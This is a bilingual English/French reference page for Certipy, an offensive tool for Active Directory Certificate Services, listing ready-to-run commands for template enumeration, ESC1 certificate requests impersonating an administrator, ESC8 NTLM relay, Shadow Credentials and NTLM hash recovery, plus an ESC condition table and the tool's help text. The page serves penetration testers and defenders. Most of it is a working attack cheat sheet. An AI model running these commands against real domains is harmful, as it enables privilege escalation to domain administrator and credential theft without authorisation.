retour aux outils back to tools Ducklings

Certipy

Outil offensif pour énumérer et exploiter les mauvaises configurations d'Active Directory Certificate Services. Offensive tool for enumerating and exploiting Active Directory Certificate Services misconfigurations.

↗ https://github.com/ly4k/Certipy

Overview

Certipy is the primary tool for AD CS attacks. It enumerates certificate templates and CAs, identifies ESC vulnerabilities, and exploits them to obtain certificates for privileged accounts.

Common Usage

# Enumerate — find vulnerable templates and CAs
certipy find -u 'user@domain.local' -p 'Password1' -dc-ip 10.10.10.1 -stdout
certipy find -u 'user@domain.local' -p 'Password1' -dc-ip 10.10.10.1 -vulnerable

ESC1 — request cert as another user (enrollee supplies SAN)

certipy req -u 'user@domain.local' -p 'Password1' -dc-ip 10.10.10.1 \
  -ca 'CA-NAME' -template 'VulnerableTemplate' -upn 'administrator@domain.local'

Authenticate with obtained certificate

certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1

ESC8 — relay NTLM to AD CS HTTP endpoint

certipy relay -target 'http://<CA>/certsrv/certfnsh.asp' -template DomainController

Shadow Credentials attack (requires write to msDS-KeyCredentialLink)

certipy shadow auto -u 'user@domain.local' -p 'Password1' -account 'target-user'

NTLM hash from certificate (UnPAC-the-Hash)

certipy auth -pfx user.pfx -no-save -domain domain.local -dc-ip 10.10.10.1

ESC Quick Reference

ESC	Description	Condition
ESC1	Enrollee supplies SAN	`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`
ESC2	Any purpose template	Any purpose EKU
ESC3	Enrollment agent template	Certificate Request Agent EKU
ESC4	Writable template	Write permission on template
ESC6	`EDITF_ATTRIBUTESUBJECTALTNAME2` on CA	CA flag set
ESC8	NTLM relay to CA web enrollment	EPA not enforced

Help / Man page

certipy <command> [options]

COMMANDS:
  find      Enumerate AD CS (templates, CAs, vulnerabilities)
  req       Request a certificate
  auth      Authenticate with a certificate (get TGT or NTLM)
  shadow    Shadow Credentials attacks
  relay     NTLM relay to AD CS
  ca        CA management (backup, add officer, etc.)
  template  Modify certificate templates
  forge     Forge certificates (requires CA key)
  cert      Certificate utilities

FIND OPTIONS:
  -u USER@DOMAIN    Username
  -p PASSWORD       Password
  -dc-ip IP         Domain controller IP
  -vulnerable       Only show vulnerable configs
  -stdout           Print to stdout instead of file
  -bloodhound       Output for BloodHound

REQ OPTIONS:
  -ca NAME          Certificate Authority name
  -template NAME    Template name
  -upn UPN          Target UPN for SAN (ESC1)
  -dns HOSTNAME     DNS SAN
  -pfx FILE         Output PFX file

AUTH OPTIONS:
  -pfx FILE         Certificate PFX
  -dc-ip IP         DC for PKINIT
  -no-save          Don't save TGT, print NTLM hash

Vue d’ensemble

Certipy est l’outil principal pour les attaques AD CS. Il énumère les modèles de certificats et les CAs, identifie les vulnérabilités ESC, et les exploite pour obtenir des certificats de comptes privilégiés.

Utilisation courante

# Énumération : trouver les modèles et CAs vulnérables
certipy find -u 'user@domain.local' -p 'Password1' -dc-ip 10.10.10.1 -stdout
certipy find -u 'user@domain.local' -p 'Password1' -dc-ip 10.10.10.1 -vulnerable

# ESC1 : demander un certificat pour un autre utilisateur (l'enrollé fournit le SAN)
certipy req -u 'user@domain.local' -p 'Password1' -dc-ip 10.10.10.1 \
  -ca 'CA-NAME' -template 'VulnerableTemplate' -upn 'administrator@domain.local'

# S'authentifier avec le certificat obtenu
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1

# ESC8 : relayer NTLM vers l'endpoint HTTP AD CS
certipy relay -target 'http://<CA>/certsrv/certfnsh.asp' -template DomainController

# Attaque Shadow Credentials (nécessite l'écriture sur msDS-KeyCredentialLink)
certipy shadow auto -u 'user@domain.local' -p 'Password1' -account 'target-user'

# Hachage NTLM depuis un certificat (UnPAC-the-Hash)
certipy auth -pfx user.pfx -no-save -domain domain.local -dc-ip 10.10.10.1

Référence rapide ESC

ESC	Description	Condition
ESC1	L’enrollé fournit le SAN	`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`
ESC2	Modèle à usage général	EKU Any Purpose
ESC3	Modèle d’agent d’enrollment	EKU Certificate Request Agent
ESC4	Modèle accessible en écriture	Permission d’écriture sur le modèle
ESC6	`EDITF_ATTRIBUTESUBJECTALTNAME2` sur la CA	Flag CA défini
ESC8	Relay NTLM vers l’enrollment web CA	EPA non appliqué

Aide / Page de manuel

certipy <command> [options]

COMMANDS:
  find      Enumerate AD CS (templates, CAs, vulnerabilities)
  req       Request a certificate
  auth      Authenticate with a certificate (get TGT or NTLM)
  shadow    Shadow Credentials attacks
  relay     NTLM relay to AD CS
  ca        CA management (backup, add officer, etc.)
  template  Modify certificate templates
  forge     Forge certificates (requires CA key)
  cert      Certificate utilities

FIND OPTIONS:
  -u USER@DOMAIN    Username
  -p PASSWORD       Password
  -dc-ip IP         Domain controller IP
  -vulnerable       Only show vulnerable configs
  -stdout           Print to stdout instead of file
  -bloodhound       Output for BloodHound

REQ OPTIONS:
  -ca NAME          Certificate Authority name
  -template NAME    Template name
  -upn UPN          Target UPN for SAN (ESC1)
  -dns HOSTNAME     DNS SAN
  -pfx FILE         Output PFX file

AUTH OPTIONS:
  -pfx FILE         Certificate PFX
  -dc-ip IP         DC for PKINIT
  -no-save          Don't save TGT, print NTLM hash